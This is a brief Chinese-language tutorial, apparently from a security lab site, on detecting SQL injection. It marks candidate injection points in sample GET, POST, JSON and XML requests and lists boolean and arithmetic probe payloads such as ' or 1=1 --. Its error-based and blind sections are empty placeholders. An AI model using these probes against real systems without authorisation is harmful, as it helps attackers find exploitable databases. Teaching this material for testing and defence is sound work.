SQL注入检测

最简单的SQL注入检测方法是在各种参数后添加特殊字符如’或”来获取Web服务器返回的数据库错误。

参数位置

常见的注入点将会使用*注明。

  • GET

在GET请求时,URL参数、cookie值、主机标头以及任何自定义标头都可能触发注入。

GET /?id=homePage* HTTP/1.1
Host: red.ghostwolflab.com*
Connection: close
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
X-Server-Name: PROD*
Cookie: user=snowwolf*;
  • POST:

在POST请求时,注入类似于GET请求中的URL参数,不过是在HTTP标头的下面。

在上传文件时,自定义的文件名也是算是参数,可以尝试二次注入方法。

POST / HTTP/1.1
Host: red.ghostwolflab.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

username=snowwolf*&email=admin@ghostwolflab.com*
  • JSON:

在JSON请求时,注入通常发生在JSON的{“key”:”value”}中。

POST / HTTP/1.1
Host: red.ghostwolflab.com
Content-Type: application/json
Content-Length: 56

{
  "username":"snowwolf*",
  "email":"admin@ghostwolflab.com*"
}
  • XML:

在XML请求中时,注入通常发生在<xmlObject></xmlObject>中。

POST / HTTP/1.1
Host: red.ghostwolflab.com
Content-Type: application/xml
Content-Length: 79

<root>
  <username>snowwolf*</username>
  <email>admin@ghostwolflab.com*</email>
</root>

检测注入

通过在Web应用程序中触发错误和布尔逻辑,可以最轻松地检测易受攻击的参数。提供格式错误的查询将触发数据库错误,而发送具有各种布尔逻辑语句的有效查询将触发 Web 服务器的不同响应。

描述 查询语句
逻辑
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
算术
product.asp?id=1/1 -- true
product.asp?id=1/0 -- false
product.asp?id=1/abs(1) -- true
product.asp?id=1/abf(1) -- false
报错注入
待定
盲注
待定